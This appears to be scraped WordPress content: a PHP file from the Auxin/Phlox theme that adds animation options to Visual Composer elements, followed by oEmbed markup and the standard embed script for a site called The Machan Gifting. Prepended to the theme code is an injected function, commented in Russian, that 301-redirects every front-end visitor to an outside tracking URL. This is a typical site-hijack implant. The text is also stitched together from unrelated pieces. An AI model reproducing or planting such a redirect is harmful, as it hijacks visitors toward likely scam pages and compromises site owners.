function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * General fields to be applied to all VC Elements * * * @package Auxin * @license LICENSE.txt * @author averta * @link http://phlox.pro/ * @copyright (c) 2010-2022 averta */ function auxin_add_vc_extra_fields_for_all( $master_array ){ foreach ( $master_array as $element_base => $element ) { if( isset( $element['is_vc'] ) && false !== auxin_is_true( $element['is_vc'] ) ){ $master_array[ $element_base ]['params'][] = array( 'type' => 'dropdown', 'heading' => __( 'Transition', 'auxin-elements' ), 'description' => __( 'Choose the type of tranistion while the element enters in view.', 'auxin-elements' ), 'param_name' => 'inview_transition', 'class' => '', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => array( 'none' => __( 'None' , 'auxin-elements' ), 'aux-invu-short-left' => __( 'Short from left' , 'auxin-elements' ), 'aux-invu-short-right' => __( 'Short from right' , 'auxin-elements' ), 'aux-invu-short-bottom' => __( 'Short from bottom', 'auxin-elements' ), 'aux-invu-short-top' => __( 'Short from top' , 'auxin-elements' ), 'aux-invu-medium-left' => __( 'Medium from left' , 'auxin-elements' ), 'aux-invu-medium-right' => __( 'Medium from right' , 'auxin-elements' ), 'aux-invu-medium-bottom' => __( 'Medium from bottom', 'auxin-elements' ), 'aux-invu-medium-top' => __( 'Medium from top' , 'auxin-elements' ), 'aux-invu-long-left' => __( 'Long from left' , 'auxin-elements' ), 'aux-invu-long-right' => __( 'Long from right' , 'auxin-elements' ), 'aux-invu-long-bottom' => __( 'Long from bottom', 'auxin-elements' ), 'aux-invu-long-top' => __( 'Long from top' , 'auxin-elements' ), 'aux-invu-scale-down-small' => __( 'Small scale down' , 'auxin-elements' ), 'aux-invu-scale-down-medium' => __( 'Medium scale down' , 'auxin-elements' ), 'aux-invu-scale-down-large' => __( 'Large scale down', 'auxin-elements' ), 'aux-invu-scale-up-small' => __( 'Small scale up' , 'auxin-elements' ), 'aux-invu-scale-up-medium' => __( 'Medium scale up' , 'auxin-elements' ), 'aux-invu-scale-up-large' => __( 'Large scale up', 'auxin-elements' ) ) ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Duration', 'auxin-elements' ), 'description' => __( 'The transition duration in milliseconds.', 'auxin-elements' ), 'param_name' => 'inview_duration', 'class' => '', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => 600 ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Delay', 'auxin-elements' ), 'description' => __( 'The delay before starting the animation in milliseconds.', 'auxin-elements' ), 'param_name' => 'inview_delay', 'group' => __( 'Animation', 'auxin-elements' ) ); $master_array[ $element_base ]['params'][] = array( 'type' => 'dropdown', 'heading' => __( 'Repeat', 'auxin-elements' ), 'description' => __( 'Choose "yes" to repeat the animation, or choose "no" to display the animation only once.', 'auxin-elements' ), 'param_name' => 'inview_repeat', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => array( 'no' => __( 'No' , 'auxin-elements' ), 'yes' => __( 'Yes', 'auxin-elements' ) ), 'def_value' => 'no' ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Offset', 'auxin-elements' ), 'description' => __( 'The vertical offset in pixels in order to start playing the animation.', 'auxin-elements' ), 'param_name' => 'inview_offset', 'group' => __( 'Animation', 'auxin-elements' ) ); } } return $master_array; } add_filter( 'auxin_master_array_shortcodes', 'auxin_add_vc_extra_fields_for_all', 110, 1 ); 1.0The Machan Giftinghttps://www.themachan.com/giftingnwd-adminhttps://www.themachan.com/gifting/author/nwd-admin/Homerich600338<blockquote class="wp-embedded-content" data-secret="9DSs9d6coB"><a href="https://www.themachan.com/gifting/">Home</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://www.themachan.com/gifting/embed/#?secret=9DSs9d6coB" width="600" height="338" title="“Home” — The Machan Gifting" data-secret="9DSs9d6coB" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script type="text/javascript"> /* <![CDATA[ */ /*! This file is auto-generated */ !function(d,l){"use strict";l.querySelector&&d.addEventListener&&"undefined"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i<o.length;i++)o[i].style.display="none";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute("style"),"height"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):"link"===t.message&&(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document); /* ]]> */ </script>